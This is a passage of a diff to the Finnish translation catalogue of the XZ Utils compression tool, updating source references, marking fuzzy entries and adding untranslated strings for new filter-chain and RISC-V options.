cannot be used with the .xz format" msgstr "LZMA1:tä ei voi käyttää .xz-muodon kanssa" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "Suodinketju on yhteensopimaton valitsimen --flush-timeout kanssa" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "Vaihdetaan yksisäikeiseen tilaan valitsimen --flush-timeout vuoksi" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "Ei-tuetut valitsimet" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "Käytetään enintään % säiettä." -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "Ei-tuettu suodinketju tai suotimen asetukset" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "Purkaminen vaatii %s MiB muistia." -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "Pudotettiin säikeiden määrä %s säikeestä %s:een, jottei ylitettäisi %s MiB:n rajaa muistinkäytölle" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "Pudotettiin säikeiden määrä %s säikeestä yhteen. Automaattinen %s MiB:n raja muistinkäytölle ylittyy silti. Vaaditaan %s MiB muistia. Jatketaan kaikesta huolimatta." -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "Siirrytään yhden säikeen tilaan, jottei ylitettäisi %s MiB:n rajaa muistinkäytölle" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "Pudotettiin LZMA%c-sanaston koko %s MiB:stä %s MiB:hen, jottei ylitettäisi %s MiB:n rajaa muistinkäytölle" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "Pudotettiin LZMA%c-sanaston koko %s MiB:stä %s MiB:hen, jottei ylitettäisi %s MiB:n rajaa muistinkäytölle" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "Virhe putkea luodessa: %s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "Virhe putkea luodessa: %s" -#: src/xz/file_io.c:235 -msgid "Failed to enable the sandbox" -msgstr "Hiekkalaatikon ottaminen käyttöön epäonnistui" - -#: src/xz/file_io.c:277 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s: poll()-kutsu epäonnistui: %s" @@ -154,252 +210,252 @@ msgstr "%s: poll()-kutsu epäonnistui: %s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:344 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s: Tiedosto on nähtävästi siirretty, ei poisteta" -#: src/xz/file_io.c:351 src/xz/file_io.c:907 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s: Ei voi poistaa: %s" -#: src/xz/file_io.c:377 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s: Tiedoston omistajaa ei voi asettaa: %s" -#: src/xz/file_io.c:390 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s: Tiedoston ryhmää ei voi asettaa: %s" -#: src/xz/file_io.c:409 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s: Tiedoston oikeuksia ei voi asettaa: %s" -#: src/xz/file_io.c:535 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "Virhe tiedoston tilalippujen noutamisessa vakiosyötteelle: %s" -#: src/xz/file_io.c:593 src/xz/file_io.c:655 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s: On symbolinen linkki, ohitetaan" -#: src/xz/file_io.c:684 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s: On hakemisto, ohitetaan" -#: src/xz/file_io.c:690 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s: Ei ole tavallinen tiedosto, ohitetaan" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s: Tiedostolla on setuid- tai setgid-bitti, ohitetaan" -#: src/xz/file_io.c:714 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s: Tiedostolla on sticky-bitti, ohitetaan" -#: src/xz/file_io.c:721 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s: Syötetiedostoon on yli yksi kova linkki, ohitetaan" -#: src/xz/file_io.c:763 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "Tyhjä tiedostonimi, ohitetaan" -#: src/xz/file_io.c:817 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "Virhe tilalippujen palauttamisessa vakiosyötteelle: %s" -#: src/xz/file_io.c:865 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "Virhe tiedoston tilalippujen noutamisessa vakiotulosteelle: %s" -#: src/xz/file_io.c:1043 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "Virhe O_APPEND-lipun palauttamisessa vakiosyötteelle: %s" -#: src/xz/file_io.c:1055 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s: Tiedoston sulkeminen epäonnistui: %s" -#: src/xz/file_io.c:1091 src/xz/file_io.c:1354 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s: Siirtyminen epäonnistui yritettäessä luoda hajanaista tiedostoa: %s" -#: src/xz/file_io.c:1192 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s: Lukuvirhe: %s" -#: src/xz/file_io.c:1222 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s: Virhe tiedostossa siirtymisessä: %s" -#: src/xz/file_io.c:1246 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s: Odottamaton tiedoston loppu" -#: src/xz/file_io.c:1305 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s: Kirjoitusvirhe: %s" -#: src/xz/hardware.c:225 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "Pois käytöstä" -#: src/xz/hardware.c:256 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "Fyysisen muistin kokonaismäärä (RAM):" -#: src/xz/hardware.c:257 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "Suoritinsäikeiden määrä:" -#: src/xz/hardware.c:258 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "Tiivistys:" -#: src/xz/hardware.c:259 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "Purku:" -#: src/xz/hardware.c:260 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "Monisäikeinen purku:" -#: src/xz/hardware.c:261 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "-T0:n oletusarvo:" -#: src/xz/hardware.c:279 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "Laitteiston tiedot:" -#: src/xz/hardware.c:286 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "Muistinkäytön rajat:" -#: src/xz/list.c:65 +#: src/xz/list.c:67 msgid "Streams:" msgstr "Virrat:" -#: src/xz/list.c:66 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "Lohkot:" -#: src/xz/list.c:67 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "Tiivistetty koko:" -#: src/xz/list.c:68 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "Tiivistämätön koko:" -#: src/xz/list.c:69 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "Suhde:" -#: src/xz/list.c:70 +#: src/xz/list.c:72 msgid "Check:" msgstr "Tarkistus:" -#: src/xz/list.c:71 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "Virran tasaus:" -#: src/xz/list.c:72 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "Tarvittava muisti:" -#: src/xz/list.c:73 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "Koot otsakkeissa:" -#: src/xz/list.c:76 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "Tiedostojen määrä:" -#: src/xz/list.c:119 +#: src/xz/list.c:121 msgid "Stream" msgstr "Virta" -#: src/xz/list.c:120 +#: src/xz/list.c:122 msgid "Block" msgstr "Lohko" -#: src/xz/list.c:121 +#: src/xz/list.c:123 msgid "Blocks" msgstr "Lohkot" -#: src/xz/list.c:122 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "TiivSiirr." -#: src/xz/list.c:123 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "Tv:tönSiirr." -#: src/xz/list.c:124 +#: src/xz/list.c:126 msgid "CompSize" msgstr "TiivKoko" -#: src/xz/list.c:125 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "Tv:tönKoko" -#: src/xz/list.c:126 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "Yht.Koko" -#: src/xz/list.c:127 +#: src/xz/list.c:129 msgid "Ratio" msgstr "Suhde" -#: src/xz/list.c:128 +#: src/xz/list.c:130 msgid "Check" msgstr "Tark." -#: src/xz/list.c:129 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "Tark.arvo" -#: src/xz/list.c:130 +#: src/xz/list.c:132 msgid "Padding" msgstr "Tasaus" -#: src/xz/list.c:131 +#: src/xz/list.c:133 msgid "Header" msgstr "Otsake" -#: src/xz/list.c:132 +#: src/xz/list.c:134 msgid "Flags" msgstr "Liput" -#: src/xz/list.c:133 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "Muist.käyt." -#: src/xz/list.c:134 +#: src/xz/list.c:136 msgid "Filters" msgstr "Suodattimet" @@ -407,7 +463,7 @@ msgstr "Suodattimet" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:166 +#: src/xz/list.c:168 msgid "None" msgstr "Ei mitään" @@ -415,60 +471,60 @@ msgstr "Ei mitään" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:172 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "Tuntematon-2" -#: src/xz/list.c:173 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "Tuntematon-3" -#: src/xz/list.c:175 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "Tuntematon-5" -#: src/xz/list.c:176 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "Tuntematon-6" -#: src/xz/list.c:177 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "Tuntematon-7" -#: src/xz/list.c:178 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "Tuntematon-8" -#: src/xz/list.c:179 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "Tuntematon-9" -#: src/xz/list.c:181 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "Tuntematon-11" -#: src/xz/list.c:182 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "Tuntematon-12" -#: src/xz/list.c:183 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "Tuntematon-13" -#: src/xz/list.c:184 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "Tuntematon-14" -#: src/xz/list.c:185 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "Tuntematon-15" -#: src/xz/list.c:348 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s: Tiedosto on tyhjä" -#: src/xz/list.c:353 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s: Liian pieni kelvolliseksi .xz-tiedostoksi" @@ -477,41 +533,45 @@ msgstr "%s: Liian pieni kelvolliseksi .xz-tiedostoksi" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:722 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr "Virrat Lohkot Tiivist. Tiivistämätön Suhde Tark. Tiedostonimi" -#: src/xz/list.c:1016 src/xz/list.c:1193 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "Kyllä" -#: src/xz/list.c:1016 src/xz/list.c:1193 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "Ei" -#: src/xz/list.c:1018 src/xz/list.c:1195 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " XZ Utilsin vähimmäisversio: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1168 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s tiedosto\n" msgstr[1] "%s tiedostoa\n" -#: src/xz/list.c:1181 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "Yhteensä:" -#: src/xz/list.c:1259 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list toimii vain .xz-tiedostoille (--format=xz tai --format=auto)" -#: src/xz/list.c:1265 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list ei tue lukemista vakiosyötteestä" @@ -526,15 +586,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s: Odottamaton syötteen loppu tiedostonimiä luettaessa" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s: Nul-merkki kohdattiin tiedostonimiä lukiessa; oliko tarkoitus antaa valitsin ”--files0” eikä ”--files”?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "Tiivistys ja purku --robot -valitsimen kanssa eivät ole vielä tuettuja." -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "Dataa ei voi lukea vakiosyötteestä kun tiedostonimiä luetaan vakiosyötteestä" @@ -542,68 +603,69 @@ msgstr "Dataa ei voi lukea vakiosyötteestä kun tiedostonimiä luetaan vakiosy #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s: " -#: src/xz/message.c:788 src/xz/message.c:847 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "Sisäinen virhe (ohjelmistovika)" -#: src/xz/message.c:795 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "Signaalinkäsittelimiä ei voi muodostaa" -#: src/xz/message.c:804 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "Ei eheystarkastusta; ei varmenneta tiedoston eheyttä" -#: src/xz/message.c:807 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "Ei-tuettu eheystarkastuksen tyyppi; ei varmenneta tiedoston eheyttä" -#: src/xz/message.c:814 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "Muistinkäytön raja saavutettu" -#: src/xz/message.c:817 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "Tiedostomuotoa ei tunnistettu" -#: src/xz/message.c:820 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "Ei-tuetut valitsimet" -#: src/xz/message.c:823 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "Tiivistetty data on turmeltunut" -#: src/xz/message.c:826 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "Odottamaton syötteen loppu" -#: src/xz/message.c:868 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "%s MiB muistia vaaditaan. Rajoitin on poistettu käytöstä." -#: src/xz/message.c:896 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "%s MiB muistia vaaditaan. Raja on %s." -#: src/xz/message.c:1070 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s: Suodinketju: %s\n" -#: src/xz/message.c:1080 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "Komento ”%s --help” antaa lisää tietoa." -#: src/xz/message.c:1106 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -614,15 +676,15 @@ msgstr "" "Tiivistä tai pura .xz-muotoisia TIEDOSTOja.\n" "\n" -#: src/xz/message.c:1113 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "Pitkien valitsinten pakolliset argumentit ovat pakollisia myös lyhyille.\n" -#: src/xz/message.c:1117 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " Toimintatila:\n" -#: src/xz/message.c:1120 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -634,7 +696,7 @@ msgstr "" " -t, --test testaa tiivistetyn tiedoston eheys\n" " -l, --list näytä tietoja .xz-tiedostoista" -#: src/xz/message.c:1126 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -642,7 +704,7 @@ msgstr "" "\n" " Toimintomääreet:\n" -#: src/xz/message.c:1129 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -653,7 +715,7 @@ msgstr "" " linkit\n" " -c, --stdout kirjoita vakiotulosteeseen äläkä poista syötetiedostoja" -#: src/xz/message.c:1138 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -661,10 +723,18 @@ msgstr "" " --single-stream pura vain ensimmäinen virta, ja ohita\n" " hiljaisesti mahdollinen jäljellä oleva syötedata" -#: src/xz/message.c:1141 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -677,7 +747,7 @@ msgstr "" " tiedostonimet on päätettävä rivinvaihtomerkillä\n" " --files0[=TIED] kuten --files mutta käytä päättämiseen nul-merkkiä" -#: src/xz/message.c:1150 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -685,23 +755,29 @@ msgstr "" "\n" " Tiedostomuodon ja tiivistyksen perusvalitsimet:\n" -#: src/xz/message.c:1152 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', `lzip', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=MUOTO tuotettava tai luettava tiedostomuoto; vaihtoehdot\n" " ovat ”auto” (oletus), ”xz”, ”lzma”, ”lzip” ja ”raw”\n" " -C, --check=CHECK eheystarkastuksen tyyppi: ”none” (käytä varoen),\n" " ”crc32”, ”crc64” (oletus) tai ”sha256”" -#: src/xz/message.c:1157 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check älä suorita eheystarkastusta purettaessa" -#: src/xz/message.c:1161 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -710,7 +786,7 @@ msgstr "" " *ja* purun muistinkäyttö huomioon ennen kuin käytät\n" " arvoja 7–9!" -#: src/xz/message.c:1165 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -718,15 +794,19 @@ msgstr "" " -e, --extreme yritä parantaa tiivistyssuhdetta käyttämällä enemmän\n" " suoritinaikaa; ei vaikuta purkimen muistivaatimuksiin" -#: src/xz/message.c:1169 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=MÄÄRÄ käytä enintää MÄÄRÄä säiettä; oletus on 1; asettamalla\n" " 0:ksi käytetään suoritinytimien määrän verran säikeitä" -#: src/xz/message.c:1174 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -736,18 +816,25 @@ msgstr "" " aloita uusi .xz-lohko aina KOKO syötetavun jälkeen; käytä\n" " tätä säikeistetyn tiivistyksen lohkokoon asettamiseen" -#: src/xz/message.c:1178 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=KOOT\n" " aloita uusi .xz-lohko kun tiivistämätöntä dataa on\n" " käsitelty pilkuilla erotellut tavumäärät" # FIXME: tarvitaan kiva suomenkielinen termi block-verbille tässä merkityksessä -#: src/xz/message.c:1182 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -759,7 +846,7 @@ msgstr "" " edellisestä huuhtomisesta ja syötteen lukemisen\n" " jatkaminen pysähtyisi, kaikki odottava data huuhdellaan" -#: src/xz/message.c:1188 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -777,7 +864,7 @@ msgstr "" " säikeistetylle purkamisella tai näille kaikille; RAJA\n" " on tavuja, %-osuus RAMista tai 0 oletusarvoille" -#: src/xz/message.c:1197 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -785,7 +872,7 @@ msgstr "" " --no-adjust jos tiivistysasetukset ylittävät muistinkäytön rajan,\n" " anna virhe äläkä pudota asetuksia alaspäin" -#: src/xz/message.c:1203 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -793,7 +880,27 @@ msgstr "" "\n" " Mukautettu suodinketju tiivistykselle (vaihtoehto esiasetuksille):" -#: src/xz/message.c:1212 +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the liblzma filter string\n" +" syntax; use --filters-help for more information" +msgstr "" + +#: src/xz/message.c:1050 +msgid "" +" --filters1=FILTERS ... --filters9=FILTERS\n" +" set additional filter chains using the liblzma filter\n" +" string syntax to use with --block-list" +msgstr "" + +#: src/xz/message.c:1056 +msgid "" +" --filters-help display more information about the liblzma filter string\n" +" syntax and exit." +msgstr "" + +#: src/xz/message.c:1067 msgid "" "\n" " --lzma1[=OPTS] LZMA1 or LZMA2; OPTS is a comma-separated list of zero or\n" @@ -823,7 +930,19 @@ msgstr "" " bt4; bt4)\n" " depth=LUKU enimmäishakusyvyys; 0=automaattinen (oletus)" -#: src/xz/message.c:1227 +#: src/xz/message.c:1082 +#, fuzzy +#| msgid "" +#| "\n" +#| " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" +#| " --arm[=OPTS] ARM BCJ filter\n" +#| " --armthumb[=OPTS] ARM-Thumb BCJ filter\n" +#| " --arm64[=OPTS] ARM64 BCJ filter\n" +#| " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" +#| " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" +#| " --sparc[=OPTS] SPARC BCJ filter\n" +#| " Valid OPTS for all BCJ filters:\n" +#| " start=NUM start offset for conversions (default=0)" msgid "" "\n" " --x86[=OPTS] x86 BCJ filter (32-bit and 64-bit)\n" @@ -833,6 +952,7 @@ msgid "" " --powerpc[=OPTS] PowerPC BCJ filter (big endian only)\n" " --ia64[=OPTS] IA-64 (Itanium) BCJ filter\n" " --sparc[=OPTS] SPARC BCJ filter\n" +" --riscv[=OPTS] RISC-V BCJ filter\n" " Valid OPTS for all BCJ filters:\n" " start=NUM start offset for conversions (default=0)" msgstr "" @@ -847,7 +967,7 @@ msgstr "" " Kelvolliset ASETukset kaikille BCJ-suotimille:\n" " start=LUKU muunnoksien aloitussiirtymä (oletus=0)" -#: src/xz/message.c:1240 +#: src/xz/message.c:1096 msgid "" "\n" " --delta[=OPTS] Delta filter; valid OPTS (valid values; default):\n" @@ -859,7 +979,7 @@ msgstr "" " dist=LUKU toisistaan vähennettävien tavujen\n" " välinen etäisyys (1–256; 1)" -#: src/xz/message.c:1248 +#: src/xz/message.c:1104 msgid "" "\n" " Other options:\n" @@ -867,7 +987,7 @@ msgstr "" "\n" " Muut valitsimet:\n" -#: src/xz/message.c:1251 +#: src/xz/message.c:1107 msgid "" " -q, --quiet suppress warnings; specify twice to suppress errors too\n" " -v, --verbose be verbose; specify twice for even more verbose" @@ -875,15 +995,15 @@ msgstr "" " -q, --quiet vaienna varoitukset; kahdesti antamalla myös virheet\n" " -v, --verbose ole lavea; kahdesti antamalla vieläkin laveampi" -#: src/xz/message.c:1256 +#: src/xz/message.c:1112 msgid " -Q, --no-warn make warnings not affect the exit status" msgstr " -Q, --no-warn älkööt varoitukset vaikuttako paluuarvoon" -#: src/xz/message.c:1258 +#: src/xz/message.c:1114 msgid " --robot use machine-parsable messages (useful for scripts)" msgstr " --robot käytä koneluettavia viestejä (sopii skripteihin)" -#: src/xz/message.c:1261 +#: src/xz/message.c:1117 msgid "" " --info-memory display the total amount of RAM and the currently active\n" " memory usage limits, and exit" @@ -891,7 +1011,7 @@ msgstr "" " --info-memory näytä RAM-muistin kokonaismäärä ja parhaillaan\n" " vallitsevat muistinkäytön rajat, ja poistu" -#: src/xz/message.c:1264 +#: src/xz/message.c:1120 msgid "" " -h, --help display the short help (lists only the basic options)\n" " -H, --long-help display this long help and exit" @@ -899,7 +1019,7 @@ msgstr "" " -h, --help näytä lyhyt ohje (kertoo vain perusvalitsimet)\n" " -H, --long-help näytä tämä pitkä ohje ja poistu" -#: src/xz/message.c:1268 +#: src/xz/message.c:1124 msgid "" " -h, --help display this short help and exit\n" " -H, --long-help display the long help (lists also the advanced options)" @@ -907,11 +1027,12 @@ msgstr "" " -h, --help näytä tämä lyhyt ohje ja poistu\n" " -H, --long-help näytä pitkä ohje 